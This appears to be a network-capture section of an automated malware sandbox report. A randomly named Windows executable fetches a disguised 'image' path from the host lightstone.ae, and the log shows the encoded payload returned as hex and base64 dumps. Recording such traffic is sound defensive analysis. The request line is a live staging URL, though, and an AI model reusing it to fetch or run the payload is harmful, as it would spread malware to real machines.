2024-11-26 07:12:17 UTC	3409	IN	Data Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 53 49 41 34 6c 45 68 77 6e 47 68 55 68 4a 78 6f 66 48 69 55 64 47 41 38 57 48 42 30 54 45 42 4d 53 47 53 59 6a 4a 42 6b 55 46 67 38 56 44 79 49 5a 4a 78 38 58 46 68 73 4f 47 52 51 65 48 68 6f 61 44 79 63 56 46 52 59 64 47 69 41 4f 45 42 45 57 49 42 4d 53 4a 52 41 6d 44 68 34 55 45 78 6b 6c 45 52 51 58 45 68 49 51 49 51 34 63 4a 77 34 6e 48 42 77 58 70 71 36 6c 57 53 4f 6e 73 55 73 41 45 68 6b 53 44 79 63 57 46 53 45 57 46 61 61 75 70 56 6b 6a 70 37 46 4c 76 64 50 42 32 4c 33 48 32 73 58 49 7a 4e 72 46 30 74 48 59 30 4d 76 43 79 63 66 51 76 73 4f 2b 76 63 54 5a 7a 73 2f 45 76 38 6e 43 79 4d 4c 4e 78 4e 72 53 79 73 6e 47 77 63 53 2f 30 64 48 46 78 63 4c 61 79 4d 6a 4a 30 4d 58 54 77 63 4f 38 79 64 4f 2b 76 64 6a 44 32 63 48 Data Ascii: pq6lWSOnsUsSIA4lEhwnGhUhJxofHiUdGA8WHB0TEBMSGSYjJBkUFg8VDyIZJx8XFhsOGRQeHhoaDycVFRYdGiAOEBEWIBMSJRAmDh4UExklERQXEhIQIQ4cJw4nHBwXpq6lWSOnsUsAEhkSDycWFSEWFaaupVkjp7FLvdPB2L3H2sXIzNrF0tHY0MvCycfQvsO+vcTZzs/Ev8nCyMLNxNrSysnGwcS/0dHFxcLayMjJ0MXTwcO8ydO+vdjD2cH
2024-11-26 07:12:17 UTC	8192	IN	Data Raw: 68 70 70 55 36 4f 64 6d 2f 35 32 35 76 66 2b 48 61 2f 58 41 35 44 70 59 56 6e 52 4d 32 35 5a 45 57 2b 4d 56 36 64 68 70 2f 34 4c 49 65 68 54 44 69 49 64 55 47 4c 2f 53 6c 45 75 4b 4c 39 4c 74 36 6a 49 44 50 41 5a 62 46 45 36 73 6c 49 43 78 71 51 42 41 54 36 2b 66 58 68 36 49 68 61 49 44 6f 4c 43 63 77 56 48 4f 6f 66 69 6d 34 52 31 38 61 33 43 6b 35 32 6e 34 57 39 4a 37 4b 42 66 4a 2f 62 5a 6b 6e 74 78 2b 47 4b 6e 38 48 78 31 55 76 31 4a 65 50 39 4c 70 5a 74 69 48 65 52 78 49 49 54 74 64 38 76 6d 70 33 4a 65 77 4d 38 4e 79 45 42 34 4a 4e 4a 75 6b 76 4e 46 74 68 30 6e 5a 50 4b 53 45 30 56 4e 6b 52 31 77 34 74 41 64 6f 64 70 33 36 65 39 41 47 69 51 52 43 49 48 6b 69 42 77 6c 36 75 44 4e 69 68 61 65 31 4f 66 6f 31 39 53 63 39 35 55 2b 2f 52 61 69 55 56 30 56 Data Ascii: hppU6Odm/525vf+Ha/XA5DpYVnRM25ZEW+MV6dhp/4LIehTDiIdUGL/SlEuKL9Lt6jIDPAZbFE6slICxqQBAT6+fXh6IhaIDoLCcwVHOofim4R18a3Ck52n4W9J7KBfJ/bZkntx+GKn8Hx1Uv1JeP9LpZtiHeRxIITtd8vmp3JewM8NyEB4JNJukvNFth0nZPKSE0VNkR1w4tAdodp36e9AGiQRCIHkiBwl6uDNihae1Ofo19Sc95U+/RaiUV0V
2024-11-26 07:12:17 UTC	96	IN	Data Raw: 39 4e 51 41 51 6d 41 4d 66 2b 43 34 48 30 45 4c 51 66 6b 7a 63 53 64 61 38 58 52 67 42 66 4f 61 56 65 4e 7a 79 78 68 56 39 4b 76 63 46 6d 54 57 72 37 59 38 77 77 62 61 6e 79 49 41 74 58 6d 35 54 71 6e 57 76 77 37 74 30 33 61 2f 43 47 52 64 2b 55 70 64 57 4f 34 4e 57 62 2b 6c 72 2f 63 41 Data Ascii: 9NQAQmAMf+C4H0ELQfkzcSda8XRgBfOaVeNzyxhV9KvcFmTWr7Y8wwbanyIAtXm5TqnWvw7t03a/CGRd+UpdWO4NWb+lr/cA
2024-11-26 07:12:18 UTC	8192	IN	Data Raw: 72 74 71 47 62 75 4b 77 65 4b 54 71 52 7a 5a 6a 77 62 64 4c 74 69 71 58 39 73 4b 48 33 71 75 49 6b 47 52 43 4e 6f 4d 52 2b 4d 77 79 38 6c 4f 43 69 36 36 2f 6c 78 4f 4b 41 68 71 48 75 56 59 39 5a 4b 63 64 2b 67 50 4c 57 30 53 2b 64 35 6b 7a 49 64 4d 66 32 50 56 37 58 48 2f 66 4b 42 33 67 6e 38 71 44 39 49 61 56 43 43 66 53 36 66 7a 51 4b 35 54 5a 53 79 50 54 61 63 2f 6a 64 75 35 6d 78 2b 6d 4e 74 58 62 6c 44 66 50 73 32 6a 32 77 39 31 58 48 55 6f 71 6f 42 38 46 70 69 51 67 67 4f 43 35 44 38 75 59 30 68 6d 41 47 4e 61 61 4f 47 56 62 69 74 58 57 71 59 6d 53 51 6f 68 69 71 44 44 64 52 64 47 73 43 42 41 69 6a 75 49 4e 32 34 43 66 2f 65 36 36 77 64 6a 54 6d 36 62 61 66 50 57 41 7a 67 55 78 44 38 6c 72 69 33 72 61 51 49 48 5a 76 49 4c 68 32 5a 4a 6e 6e 6d 4c 35 Data Ascii: rtqGbuKweKTqRzZjwbdLtiqX9sKH3quIkGRCNoMR+Mwy8lOCi66/lxOKAhqHuVY9ZKcd+gPLW0S+d5kzIdMf2PV7XH/fKB3gn8qD9IaVCCfS6fzQK5TZSyPTac/jdu5mx+mNtXblDfPs2j2w91XHUoqoB8FpiQggOC5D8uY0hmAGNaaOGVbitXWqYmSQohiqDDdRdGsCBAijuIN24Cf/e66wdjTm6bafPWAzgUxD8lri3raQIHZvILh2ZJnnmL5
2024-11-26 07:12:18 UTC	8192	IN	Data Raw: 54 72 43 67 38 4f 41 33 4d 32 76 46 76 4e 44 47 31 50 4b 32 56 78 7a 42 50 77 57 45 52 5a 67 31 55 6a 31 2f 46 43 65 4f 61 67 47 6d 34 46 44 61 2b 49 69 50 68 43 54 38 44 39 67 52 73 64 59 53 50 61 4a 48 4d 56 36 37 55 77 2b 55 6d 52 4d 7a 7a 34 69 7a 7a 65 6a 2f 38 4b 64 6b 6f 37 47 37 4e 53 57 7a 53 74 47 68 73 48 53 64 6a 57 54 41 57 78 34 2b 6a 36 6b 56 49 5a 63 52 77 58 66 75 52 68 38 42 45 6d 4e 59 56 4e 49 4d 35 45 4a 35 4a 55 70 56 72 65 66 41 56 70 4d 32 66 42 54 67 58 4a 6b 65 48 6f 53 57 33 41 65 4f 45 76 72 5a 37 35 4d 46 66 71 2f 4d 52 30 76 4d 4b 56 47 4f 43 65 4b 79 51 43 6a 68 7a 6e 41 57 6e 33 55 4f 50 48 51 61 72 72 41 31 48 53 31 37 38 68 6b 54 78 6e 52 59 76 38 48 61 61 38 2b 35 4a 47 72 74 6f 56 7a 74 47 4b 4c 38 71 71 35 46 72 69 33 Data Ascii: TrCg8OA3M2vFvNDG1PK2VxzBPwWERZg1Uj1/FCeOagGm4FDa+IiPhCT8D9gRsdYSPaJHMV67Uw+UmRMzz4izzej/8Kdko7G7NSWzStGhsHSdjWTAWx4+j6kVIZcRwXfuRh8BEmNYVNIM5EJ5JUpVrefAVpM2fBTgXJkeHoSW3AeOEvrZ75MFfq/MR0vMKVGOCeKyQCjhznAWn3UOPHQarrA1HS178hkTxnRYv8Haa8+5JGrtoVztGKL8qq5Fri3
2024-11-26 07:12:18 UTC	8192	IN	Data Raw: 45 70 69 77 71 4c 34 6e 7a 35 6e 37 68 50 54 66 5a 4c 32 2f 49 6d 35 48 4d 57 2f 2f 4b 63 7a 65 67 42 54 63 47 63 79 66 6a 55 69 68 54 33 49 5a 77 33 59 4c 63 35 77 7a 74 50 59 64 65 38 31 70 62 70 6a 31 55 64 6b 68 6b 59 45 72 44 2f 4d 31 4b 36 52 4f 2f 32 7a 35 73 79 4e 70 4c 42 42 51 44 61 61 76 4e 34 77 30 44 77 67 6d 46 54 55 69 58 52 7a 4e 43 42 4c 71 73 4f 61 6d 77 4d 2b 48 55 71 66 30 62 4e 33 52 6a 62 79 6c 76 48 4c 66 56 6f 46 4d 74 6c 61 37 37 35 75 72 79 55 31 48 43 57 68 77 35 4e 51 43 52 38 76 69 51 6f 69 51 61 64 52 36 4c 4c 57 4f 53 4c 70 31 37 6a 6b 65 4a 67 34 4a 4b 76 65 56 68 55 42 46 31 2f 70 39 53 2b 64 52 33 64 61 49 4c 33 6a 6b 37 55 36 6a 49 6e 4a 31 65 64 72 69 45 4b 42 43 5a 62 44 6e 33 75 4a 4c 2f 32 73 62 39 75 75 5a 4d 45 7a Data Ascii: EpiwqL4nz5n7hPTfZL2/Im5HMW//KczegBTcGcyfjUihT3IZw3YLc5wztPYde81pbpj1UdkhkYErD/M1K6RO/2z5syNpLBBQDaavN4w0DwgmFTUiXRzNCBLqsOamwM+HUqf0bN3RjbylvHLfVoFMtla775uryU1HCWhw5NQCR8viQoiQadR6LLWOSLp17jkeJg4JKveVhUBF1/p9S+dR3daIL3jk7U6jInJ1edriEKBCZbDn3uJL/2sb9uuZMEz
2024-11-26 07:12:18 UTC	8192	IN	Data Raw: 55 4e 45 79 77 43 6e 73 54 79 73 41 4b 48 55 68 44 38 4a 51 75 61 4a 2f 33 6f 5a 64 6b 45 34 6a 50 66 38 30 34 31 65 6c 54 65 49 7a 71 70 79 43 35 46 42 53 65 4c 61 68 4d 6a 50 61 50 73 79 39 65 54 5a 78 4d 65 61 6d 6a 67 6d 74 62 70 6d 55 2f 43 65 53 69 42 41 66 31 7a 55 6d 55 6f 76 48 76 57 6a 31 6a 77 6a 4c 30 4b 5a 76 78 54 51 6f 53 68 79 4f 70 62 42 37 62 31 4b 63 4c 4a 34 76 4b 70 69 33 71 61 35 2b 79 5a 52 53 54 49 50 72 75 39 57 34 6d 34 61 59 43 56 4a 4f 4d 4d 67 71 51 6d 71 47 65 6f 56 55 4f 67 7a 75 31 4c 79 7a 6c 70 56 4a 68 7a 73 50 2f 42 6c 58 62 51 72 52 36 77 37 48 6c 4d 39 56 2b 75 33 52 47 63 6f 36 69 6f 6d 4b 53 52 45 69 4f 74 38 4b 47 30 50 36 2f 73 47 36 34 6f 63 38 77 38 72 73 68 63 4e 43 59 38 71 46 4c 44 75 77 53 66 46 52 71 6c 73 Data Ascii: UNEywCnsTysAKHUhD8JQuaJ/3oZdkE4jPf8041elTeIzqpyC5FBSeLahMjPaPsy9eTZxMeamjgmtbpmU/CeSiBAf1zUmUovHvWj1jwjL0KZvxTQoShyOpbB7b1KcLJ4vKpi3qa5+yZRSTIPru9W4m4aYCVJOMMgqQmqGeoVUOgzu1LyzlpVJhzsP/BlXbQrR6w7HlM9V+u3RGco6iomKSREiOt8KG0P6/sG64oc8w8rshcNCY8qFLDuwSfFRqls
2024-11-26 07:12:18 UTC	8192	IN	Data Raw: 70 56 72 30 68 31 50 6f 44 47 59 48 61 66 54 46 6a 44 65 4f 45 68 63 6e 73 72 68 31 34 59 53 56 62 6a 34 33 62 67 43 7a 53 70 63 38 64 37 36 53 6e 61 37 50 6d 63 45 2b 6c 34 64 6e 31 44 38 51 76 35 69 78 4d 41 31 59 30 6e 6a 46 2b 2b 2f 32 36 47 4b 4d 6b 6d 56 70 57 77 4b 65 4c 51 36 73 45 65 47 32 67 46 7a 37 7a 67 54 39 78 76 53 69 62 35 71 4f 75 58 31 6f 39 41 4c 65 49 31 47 39 35 53 72 7a 46 4e 38 53 7a 73 6f 4a 59 4a 77 4b 48 56 77 51 47 54 74 38 6c 2b 34 7a 39 6f 71 46 30 43 65 2b 30 4d 31 44 43 72 57 51 50 30 6f 4e 36 2b 67 4e 53 44 67 6e 72 78 2b 47 45 51 79 65 47 39 6f 78 61 76 4f 47 54 42 4c 61 5a 31 76 4a 4a 79 70 4e 49 38 61 50 4e 44 75 42 72 73 75 69 44 33 48 32 68 77 69 6b 55 4f 57 4d 42 2f 51 41 49 79 47 53 6d 39 32 4d 39 4b 77 4b 6e 6b 39 Data Ascii: pVr0h1PoDGYHafTFjDeOEhcnsrh14YSVbj43bgCzSpc8d76Sna7PmcE+l4dn1D8Qv5ixMA1Y0njF++/26GKMkmVpWwKeLQ6sEeG2gFz7zgT9xvSib5qOuX1o9ALeI1G95SrzFN8SzsoJYJwKHVwQGTt8l+4z9oqF0Ce+0M1DCrWQP0oN6+gNSDgnrx+GEQyeG9oxavOGTBLaZ1vJJypNI8aPNDuBrsuiD3H2hwikUOWMB/QAIyGSm92M9KwKnk9
2024-11-26 07:12:18 UTC	8192	IN	Data Raw: 75 37 5a 35 59 67 30 77 68 2f 64 41 69 6e 66 55 61 32 49 48 71 4a 6f 6d 43 52 5a 77 49 63 57 74 51 6e 75 4a 48 63 30 37 52 52 71 2b 4d 6f 37 55 33 4d 70 38 30 36 48 73 74 51 73 32 70 79 59 38 57 4a 55 52 58 71 78 6d 4f 56 78 45 55 35 62 50 36 69 4d 36 71 37 59 46 55 59 77 63 32 66 6e 45 67 69 42 63 4d 43 39 76 4a 4c 5a 4f 62 41 74 6a 42 43 4e 36 30 75 6e 39 2b 73 55 54 4f 6f 69 56 57 46 63 33 37 51 52 34 75 5a 34 4b 6a 6b 6c 64 4c 64 58 38 57 70 6f 64 43 41 68 38 38 73 57 30 43 32 65 45 4d 36 42 42 68 55 4c 6f 30 30 6e 79 6e 45 46 4a 52 50 4b 4c 76 70 32 4e 37 63 6b 6e 6a 6c 49 49 6f 4d 64 56 75 6b 55 2b 47 59 57 5a 61 30 52 36 2b 73 41 68 77 2b 4f 30 58 62 66 4b 39 4a 57 37 6b 32 48 39 79 62 46 36 69 76 6b 55 4f 6f 6f 49 68 44 65 67 79 56 79 73 30 73 68 Data Ascii: u7Z5Yg0wh/dAinfUa2IHqJomCRZwIcWtQnuJHc07RRq+Mo7U3Mp806HstQs2pyY8WJURXqxmOVxEU5bP6iM6q7YFUYwc2fnEgiBcMC9vJLZObAtjBCN60un9+sUTOoiVWFc37QR4uZ4KjkldLdX8WpodCAh88sW0C2eEM6BBhULo00nynEFJRPKLvp2N7cknjlIIoMdVukU+GYWZa0R6+sAhw+O0XbfK9JW7k2H9ybF6ivkUOooIhDegyVys0sh
2024-11-26 07:12:18 UTC	8192	IN	Data Raw: 53 6a 31 42 4b 6c 72 77 56 52 53 39 73 52 51 32 66 70 4b 35 71 59 6c 33 58 69 76 38 4b 46 70 42 50 45 70 55 71 34 6e 74 76 35 72 53 6e 31 76 73 50 56 41 54 70 57 6a 6e 43 47 4c 4c 2f 50 33 76 47 47 54 41 36 47 73 63 57 77 33 32 7a 4f 56 63 6a 68 77 32 39 34 73 38 2f 72 47 48 78 76 4b 57 73 7a 51 2f 55 75 46 34 46 62 78 6c 56 74 6f 76 68 6b 4a 63 52 38 75 66 56 4b 55 7a 4a 68 50 70 5a 36 38 45 42 37 2b 55 56 61 2f 68 7a 34 6b 33 6b 6f 58 47 70 7a 6e 43 77 6a 4b 72 75 73 70 2b 64 49 57 55 6c 69 2f 64 6b 4e 77 73 48 30 6c 5a 46 76 56 41 32 4d 54 47 62 42 6f 4c 61 6c 57 36 78 65 6c 53 32 59 44 57 38 6d 79 66 75 70 4e 4d 57 63 72 33 41 50 32 49 50 54 47 67 6e 56 78 63 59 65 76 4b 76 75 34 66 52 33 32 57 72 4d 75 2f 79 54 74 79 6f 58 54 6e 74 42 67 53 2b 42 57 Data Ascii: Sj1BKlrwVRS9sRQ2fpK5qYl3Xiv8KFpBPEpUq4ntv5rSn1vsPVATpWjnCGLL/P3vGGTA6GscWw32zOVcjhw294s8/rGHxvKWszQ/UuF4FbxlVtovhkJcR8ufVKUzJhPpZ68EB7+UVa/hz4k3koXGpznCwjKrusp+dIWUli/dkNwsH0lZFvVA2MTGbBoLalW6xelS2YDW8myfupNMWcr3AP2IPTGgnVxcYevKvu4fR32WrMu/yTtyoXTntBgS+BW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49746	162.19.139.102	443	7280	C:\Users\user\Desktop\jlPBMMQbXC.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:12:22 UTC	168	OUT	GET /image/233_Selebzihtih HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: lightstone.ae
2024-11-26 07:12:22 UTC	210	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:12:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 16 Sep 2024 04:46:00 GMT Accept-Ranges: bytes Content-Length: 1072224
2024-11-26 07:12:22 UTC	7982	IN	Data Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 53 49 41 34 6c 45 68 77 6e 47 68 55 68 4a 78 6f 66 48 69 55 64 47 41 38 57 48 42 30 54 45 42 4d 53 47 53 59 6a 4a 42 6b 55 46 67 38 56 44 79 49 5a 4a 78 38 58 46 68 73 4f 47 52 51 65 48 68 6f 61 44 79 63 56 46 52 59 64 47 69 41 4f 45 42 45 57 49 42 4d 53 4a 52 41 6d 44 68 34 55 45 78 6b 6c 45 52 51 58 45 68 49 51 49 51 34 63 4a 77 34 6e 48 42 77 58 70 71 36 6c 57 53 4f 6e 73 55 73 41 45 68 6b 53 44 79 63 57 46 53 45 57 46 61 61 75 70 56 6b 6a 70 37 46 4c 76 64 50 42 32 4c 33 48 32 73 58 49 7a 4e 72 46 30 74 48 59 30 4d 76 43 79 63 66 51 76 73 4f 2b 76 63 54 5a 7a 73 2f 45 76 38 6e 43 79 4d 4c 4e 78 4e 72 53 79 73 6e 47 77 63 53 2f 30 64 48 46 78 63 4c 61 79 4d 6a 4a 30 4d 58 54 77 63 4f 38 79 64 4f 2b 76 64 6a 44 32 63 48 Data Ascii: pq6lWSOnsUsSIA4lEhwnGhUhJxofHiUdGA8WHB0TEBMSGSYjJBkUFg8VDyIZJx8XFhsOGRQeHhoaDycVFRYdGiAOEBEWIBMSJRAmDh4UExklERQXEhIQIQ4cJw4nHBwXpq6lWSOnsUsAEhkSDycWFSEWFaaupVkjp7FLvdPB2L3H2sXIzNrF0tHY0MvCycfQvsO+vcTZzs/Ev8nCyMLNxNrSysnGwcS/0dHFxcLayMjJ0MXTwcO8ydO+vdjD2cH
2024-11-26 07:12:22 UTC	8000	IN	Data Raw: 53 46 6b 4a 35 49 34 46 74 73 61 59 54 33 46 72 7a 67 4e 35 73 34 73 42 37 2b 37 36 67 39 46 56 2b 7a 44 6e 48 30 73 78 52 6b 31 52 77 34 44 54 30 65 35 7a 62 2f 31 4a 52 47 76 6a 47 39 76 32 6a 68 72 50 32 4a 58 31 78 4c 73 33 63 72 4f 70 35 72 38 4e 65 74 4b 6c 43 34 4d 69 42 58 73 46 54 70 6f 4a 53 34 4a 51 65 76 71 4f 72 62 42 50 48 6f 6b 6c 58 44 46 52 4c 58 50 39 52 58 63 55 78 46 54 48 37 2f 63 57 6e 35 6a 55 4b 39 6f 45 48 5a 78 31 44 4d 61 58 76 38 44 6e 45 68 48 75 53 32 41 63 54 68 75 70 66 72 6c 38 69 64 54 51 4c 33 66 56 63 6c 45 34 4e 71 37 37 4f 70 74 36 56 4a 6b 2b 68 61 57 70 71 2f 6d 42 4d 53 66 74 67 44 44 78 6a 66 2f 63 32 66 45 43 62 70 71 76 34 65 66 35 63 78 5a 56 66 31 6e 57 2f 47 57 65 65 74 50 53 7a 72 72 41 5a 48 55 4b 4c 57 7a Data Ascii: SFkJ5I4FtsaYT3FrzgN5s4sB7+76g9FV+zDnH0sxRk1Rw4DT0e5zb/1JRGvjG9v2jhrP2JX1xLs3crOp5r8NetKlC4MiBXsFTpoJS4JQevqOrbBPHoklXDFRLXP9RXcUxFTH7/cWn5jUK9oEHZx1DMaXv8DnEhHuS2AcThupfrl8idTQL3fVclE4Nq77Opt6VJk+haWpq/mBMSftgDDxjf/c2fECbpqv4ef5cxZVf1nW/GWeetPSzrrAZHUKLWz
2024-11-26 07:12:22 UTC	8000	IN	Data Raw: 7a 6f 43 31 44 48 41 42 67 55 34 6b 33 51 78 48 6c 67 46 70 76 42 64 74 6e 38 72 6e 6a 39 71 65 30 6b 4a 49 77 4b 47 4a 56 7a 67 42 38 49 44 32 38 61 43 33 6c 77 4b 64 65 6a 76 57 79 55 7a 64 45 75 48 73 66 4b 5a 78 44 31 57 6a 5a 78 2b 7a 74 63 76 33 69 4e 4e 7a 4a 65 78 58 70 47 44 6f 39 33 50 48 69 65 5a 78 58 31 55 47 70 76 4f 4a 78 74 37 4d 48 79 32 44 44 6d 77 72 56 4a 4a 6d 77 79 53 78 6a 30 38 59 4a 61 4c 4a 74 62 30 2b 54 71 53 78 77 35 6f 4e 30 6b 34 51 36 47 70 6e 43 62 45 77 6a 56 6c 78 66 79 70 59 52 72 36 4a 4f 54 38 61 61 45 32 65 49 42 5a 45 5a 36 78 55 39 70 58 74 7a 79 6e 41 51 68 54 7a 39 57 48 58 39 42 51 77 44 2f 73 55 48 41 47 66 34 4c 31 35 33 4d 6c 64 6e 43 31 4f 31 6f 34 63 6c 57 34 33 37 41 62 32 48 6f 36 2f 38 46 57 6f 48 58 55 Data Ascii: zoC1DHABgU4k3QxHlgFpvBdtn8rnj9qe0kJIwKGJVzgB8ID28aC3lwKdejvWyUzdEuHsfKZxD1WjZx+ztcv3iNNzJexXpGDo93PHieZxX1UGpvOJxt7MHy2DDmwrVJJmwySxj08YJaLJtb0+TqSxw5oN0k4Q6GpnCbEwjVlxfypYRr6JOT8aaE2eIBZEZ6xU9pXtzynAQhTz9WHX9BQwD/sUHAGf4L153MldnC1O1o4clW437Ab2Ho6/8FWoHXU
2024-11-26 07:12:22 UTC	8000	IN	Data Raw: 36 36 7a 46 30 6d 73 2f 4a 57 32 47 63 50 6c 71 4a 35 35 6e 4d 44 78 33 41 44 43 46 62 4f 49 52 44 39 79 4a 76 66 30 70 6a 53 4a 49 51 30 6d 37 67 39 38 67 53 4c 6d 63 48 2b 30 6d 68 5a 76 33 77 52 77 38 79 49 68 66 78 79 45 32 61 69 4a 38 45 4a 66 42 73 73 48 78 79 30 6c 62 4a 53 4b 77 54 37 2b 74 57 61 49 43 5a 65 68 44 57 5a 63 47 52 73 30 31 4c 57 7a 4c 41 39 50 72 4b 4f 72 61 4f 54 69 67 42 57 53 70 34 58 6b 55 73 49 77 43 32 64 45 32 51 6a 46 71 58 6d 57 4d 30 67 50 6d 4c 62 6b 4a 5a 34 4b 4b 42 76 43 2b 77 62 65 34 67 4b 42 78 53 56 7a 73 62 59 30 51 54 48 79 49 79 6f 2b 67 57 35 53 51 64 51 52 74 51 57 6f 31 6b 57 57 61 71 69 38 4c 45 72 4e 75 44 4e 5a 36 4d 34 4a 59 79 38 44 4c 4d 6f 38 63 73 31 4d 31 78 66 4a 59 76 49 42 6d 42 79 41 42 6f 6b 50 Data Ascii: 66zF0ms/JW2GcPlqJ55nMDx3ADCFbOIRD9yJvf0pjSJIQ0m7g98gSLmcH+0mhZv3wRw8yIhfxyE2aiJ8EJfBssHxy0lbJSKwT7+tWaICZehDWZcGRs01LWzLA9PrKOraOTigBWSp4XkUsIwC2dE2QjFqXmWM0gPmLbkJZ4KKBvC+wbe4gKBxSVzsbY0QTHyIyo+gW5SQdQRtQWo1kWWaqi8LErNuDNZ6M4JYy8DLMo8cs1M1xfJYvIBmByABokP
2024-11-26 07:12:22 UTC	8000	IN	Data Raw: 51 78 58 55 66 41 63 6a 50 75 51 54 71 39 39 36 48 45 51 78 42 55 4c 47 41 59 2f 38 77 6a 50 33 38 7a 54 78 62 34 32 72 68 48 73 54 68 2b 69 32 64 6f 49 66 71 53 51 35 52 64 72 38 30 62 77 4a 30 39 67 73 2b 4f 78 4b 4c 73 31 55 66 70 48 53 33 58 45 56 4e 6f 4f 48 59 39 2b 63 42 34 72 76 67 31 57 75 46 4f 58 73 69 69 48 69 46 46 4a 4c 6e 74 79 53 32 34 49 2f 6b 51 2b 51 33 59 4b 73 76 66 44 61 6d 4f 47 41 6e 2f 69 79 43 78 76 2b 48 6e 41 4d 62 53 4e 62 2f 55 73 31 78 6c 36 4b 63 73 4b 6f 44 71 31 6b 34 71 30 54 32 66 4c 46 72 55 41 78 79 6d 52 73 46 53 58 73 6c 71 48 44 67 36 50 44 55 74 30 73 61 49 75 54 54 74 38 4f 74 34 7a 57 71 65 4d 4e 61 2f 43 46 7a 75 30 2b 30 77 64 4f 67 48 63 43 67 64 6f 43 78 33 54 53 72 4c 6f 43 36 76 50 6c 57 69 2f 73 6b 67 4c Data Ascii: QxXUfAcjPuQTq996HEQxBULGAY/8wjP38zTxb42rhHsTh+i2doIfqSQ5Rdr80bwJ09gs+OxKLs1UfpHS3XEVNoOHY9+cB4rvg1WuFOXsiiHiFFJLntyS24I/kQ+Q3YKsvfDamOGAn/iyCxv+HnAMbSNb/Us1xl6KcsKoDq1k4q0T2fLFrUAxymRsFSXslqHDg6PDUt0saIuTTt8Ot4zWqeMNa/CFzu0+0wdOgHcCgdoCx3TSrLoC6vPlWi/skgL
2024-11-26 07:12:22 UTC	8000	IN	Data Raw: 49 33 74 63 49 63 5a 73 48 34 4d 75 69 78 4b 78 59 70 57 50 52 58 35 4c 47 53 30 43 65 53 30 59 4d 5a 33 6d 55 54 36 4a 65 77 50 68 43 31 6d 63 58 78 55 45 6c 68 52 4d 65 47 59 56 78 68 65 72 67 31 51 54 53 2b 77 57 6e 37 54 43 77 69 4a 74 7a 56 53 4b 32 56 4c 38 68 78 61 73 66 6d 73 36 45 74 79 39 58 31 76 6b 57 37 53 6a 5a 63 70 41 72 49 46 4d 73 38 4d 30 31 34 65 73 36 36 79 45 31 48 69 73 66 65 31 78 53 64 6d 43 79 50 52 2b 4c 54 36 59 54 42 52 36 68 4e 63 32 6e 67 4f 6d 4a 42 54 65 4c 4b 63 4a 77 69 6a 44 69 74 57 59 33 51 61 54 2b 45 34 72 47 63 41 51 30 73 7a 71 66 69 53 75 6d 67 4a 4e 42 73 38 69 58 6c 65 32 6f 61 63 78 39 51 48 78 77 61 67 77 34 45 48 34 73 31 61 71 46 6c 79 57 77 46 72 55 41 71 71 48 4c 4d 50 32 65 4e 53 53 4f 77 74 39 43 50 76 Data Ascii: I3tcIcZsH4MuixKxYpWPRX5LGS0CeS0YMZ3mUT6JewPhC1mcXxUElhRMeGYVxherg1QTS+wWn7TCwiJtzVSK2VL8hxasfms6Ety9X1vkW7SjZcpArIFMs8M014es66yE1Hisfe1xSdmCyPR+LT6YTBR6hNc2ngOmJBTeLKcJwijDitWY3QaT+E4rGcAQ0szqfiSumgJNBs8iXle2oacx9QHxwagw4EH4s1aqFlyWwFrUAqqHLMP2eNSSOwt9CPv
2024-11-26 07:12:22 UTC	8000	IN	Data Raw: 49 67 6f 45 71 70 4a 53 72 31 68 2f 44 43 32 74 63 67 37 63 62 4d 46 70 45 35 57 50 4b 45 79 49 77 55 6b 34 6b 72 49 72 56 52 4d 53 69 73 4e 42 66 36 65 2f 44 74 4a 44 59 37 43 43 65 2f 34 51 58 70 64 65 4d 6e 47 63 61 32 65 4f 52 32 42 35 6f 59 79 64 4a 7a 33 41 35 63 56 52 78 31 57 76 67 6c 67 46 75 65 35 48 30 4c 69 79 49 58 50 68 55 6c 6b 50 34 54 49 75 4a 34 2b 43 44 6d 6d 2f 4d 58 67 54 77 63 49 76 6c 46 67 77 38 67 33 79 67 57 44 76 70 64 44 55 69 74 72 74 2f 59 33 58 51 70 69 65 33 45 2b 50 4a 35 6e 79 67 56 79 4a 41 68 2b 7a 68 6e 36 64 79 41 56 51 33 45 34 49 48 6b 5a 34 63 41 38 36 34 74 4e 69 56 31 33 69 44 74 71 6b 46 54 4b 34 6e 72 48 69 6e 74 6d 6e 77 6b 42 5a 77 54 34 44 34 47 52 69 45 42 78 64 51 68 57 5a 57 39 44 39 56 50 6b 53 4d 66 52 Data Ascii: IgoEqpJSr1h/DC2tcg7cbMFpE5WPKEyIwUk4krIrVRMSisNBf6e/DtJDY7CCe/4QXpdeMnGca2eOR2B5oYydJz3A5cVRx1WvglgFue5H0LiyIXPhUlkP4TIuJ4+CDmm/MXgTwcIvlFgw8g3ygWDvpdDUitrt/Y3XQpie3E+PJ5nygVyJAh+zhn6dyAVQ3E4IHkZ4cA864tNiV13iDtqkFTK4nrHintmnwkBZwT4D4GRiEBxdQhWZW9D9VPkSMfR
2024-11-26 07:12:22 UTC	8000	IN	Data Raw: 45 50 4e 37 53 74 47 43 37 59 37 31 51 31 4b 30 58 34 51 75 78 4a 57 78 37 39 2f 32 50 63 56 66 6a 76 6e 4a 41 51 77 4d 6e 55 6f 2f 32 38 74 67 62 62 6a 6e 35 74 4f 54 31 43 78 68 62 63 65 6e 55 54 76 58 30 55 34 35 46 77 6e 79 62 32 6c 73 39 6d 6a 35 66 76 48 53 2f 73 42 6e 39 42 48 78 6e 57 7a 47 45 72 37 34 41 6c 66 63 44 58 6d 77 4d 42 7a 6e 41 62 58 53 6c 4c 36 6d 45 35 59 76 51 53 53 62 53 49 6b 74 4b 4c 37 4e 6d 4e 78 46 76 57 4f 6f 52 56 7a 75 42 51 58 4a 75 69 54 73 30 62 38 50 73 31 79 42 6c 77 63 7a 46 51 52 49 73 58 6b 54 59 30 42 46 55 71 4f 4d 4e 36 45 4e 5a 41 4d 49 41 54 4b 32 76 6a 4d 73 49 46 78 2b 62 45 54 4e 68 75 4f 54 59 55 69 4a 6e 4d 4a 6c 41 71 56 6c 7a 4e 49 49 67 43 72 5a 59 33 4f 2f 78 43 4f 6e 57 61 48 78 4e 51 72 63 31 67 50 Data Ascii: 